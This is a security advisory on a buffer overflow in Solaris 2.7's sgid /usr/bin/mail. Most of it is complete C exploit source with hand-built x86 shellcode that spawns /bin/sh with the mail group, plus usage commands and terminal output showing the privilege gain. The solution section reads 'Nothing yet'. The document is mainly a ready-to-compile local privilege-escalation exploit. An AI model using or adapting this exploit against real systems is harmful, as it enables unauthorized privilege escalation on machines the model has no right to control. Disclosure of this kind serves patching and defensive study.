COMMAND

    /usr/bin/mail

SYSTEMS AFFECTED

    Solaris 2.7

PROBLEM

    Brock  Tellier  found  following.   There  is  a  possible  buffer
    overflow vulnerability in  Solaris 2.7's sgid  mail /usr/bin/mail.

        bash-2.02$ mail -m `perl -e "print 'A' x 2106"` foo
        .
        mail: ERROR signal 11
        bash-2.02$

    Following is new version of exploit that works as follows:

        bash-2.02$ uname -a; id
        SunOS solhack 5.7 Generic_106542-05 i86pc i386 i86pc
        uid=136(btellier) gid=100(devel)
        bash-2.02$ /usr/bin/mail -m `./mailex 0 1975 2285` foo
        .
        $ id
        uid=136(btellier) gid=6(mail)
        $

    Exploit follows:

    /*
     * Generic Solaris x86 exploit program by Brock Tellier
     * For use against any x86 sgid binary
     * Shellcode by Cheez Whiz (fixes problem with shells dropping egid if it doesn't match your real gid)
     * Will set gid=6(mail)
     *
     * gcc -o mailex solx86gid.c
     * /usr/bin/mail -m `./mailex 0 1975 2285` foo
       . <period, enter>
       $
    
     * Usage: ./mailex <offset> <NOPS> <BUFSIZE>
     *
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #define BUF 10000
    #define NOP 0x90
    
    
    char shell[] =
    /*  0 */ "\xeb\x45"                         /* jmp springboard       */
    /* syscall:                                                          */
    /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
    /*  9 */ "\xc3"                             /* ret                   */
    /* start:                                                            */
    /* 10 */ "\x5e"                             /* popl %esi             */
    /* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 13 */ "\x89\x46\xb7"                     /* movl %eax,-0x49(%esi) */
    /* 16 */ "\x88\x46\xbc"                     /* movb %al,-0x44(%esi)  */
    /* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
    /* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
    /* setregid:                                                         */
    /* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 27 */ "\xb0\x2f"                         /* movb $0x2f,%al        */
    /* 29 */ "\xe8\xe0\xff\xff\xff"             /* call syscall          */
    /* 34 */ "\x52"                             /* pushl %edx            */
    /* 35 */ "\x52"                             /* pushl %edx            */
    /* 36 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 38 */ "\xb0\xcb"                         /* movb $0xcb,%al        */
    /* 40 */ "\xe8\xd5\xff\xff\xff"             /* call syscall          */
    /* 45 */ "\x83\xc4\x08"                     /* addl $0x4,%esp        */
    /* execve:                                                           */
    /* 48 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 50 */ "\x50"                             /* pushl %eax            */
    /* 51 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
    /* 54 */ "\x53"                             /* pushl %ebx            */
    /* 55 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
    /* 57 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
    /* 60 */ "\x53"                             /* pushl %ebx            */
    /* 61 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
    /* 63 */ "\xe8\xbe\xff\xff\xff"             /* call syscall          */
    /* 68 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
    /* springboard:                                                      */
    /* 71 */ "\xe8\xbe\xff\xff\xff"             /* call start            */
    /* data:                                                             */
    /* 76 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
    /* 84 */ "\xff\xff\xff\xff"                 /* DATA                  */
    /* 88 */ "\xff\xff\xff\xff";                /* DATA                  */
    
    unsigned long int nop;
    unsigned long int esp;
    long int offset;
    
    char buf[BUF];
    
    unsigned long int get_esp()
    {
        __asm__("movl %esp,%eax");
    }
    
    void
    main (int argc, char *argv[])
    {
        int buflen, i;
    
    
        if (argc > 1)
            offset = strtol(argv[1], NULL, 0);
    
        if (argc > 2)
            nop = strtoul(argv[2], NULL, 0);
        else
            nop = 285;
    
        if (argc > 3)
            buflen=atoi(argv[3]);
        else
            buflen=BUF;
    
        esp = get_esp();
    
    
        memset(buf, NOP, buflen);
        memcpy(buf+nop, shell, strlen(shell));
        for (i = nop+strlen(shell); i < buflen-4; i += 4)
            *((int *) &buf[i]) = esp+offset;
    
        for (i = 0; i < strlen(buf); i++) putchar(buf[i]);
    
        return;
    }

SOLUTION

    Nothing yet.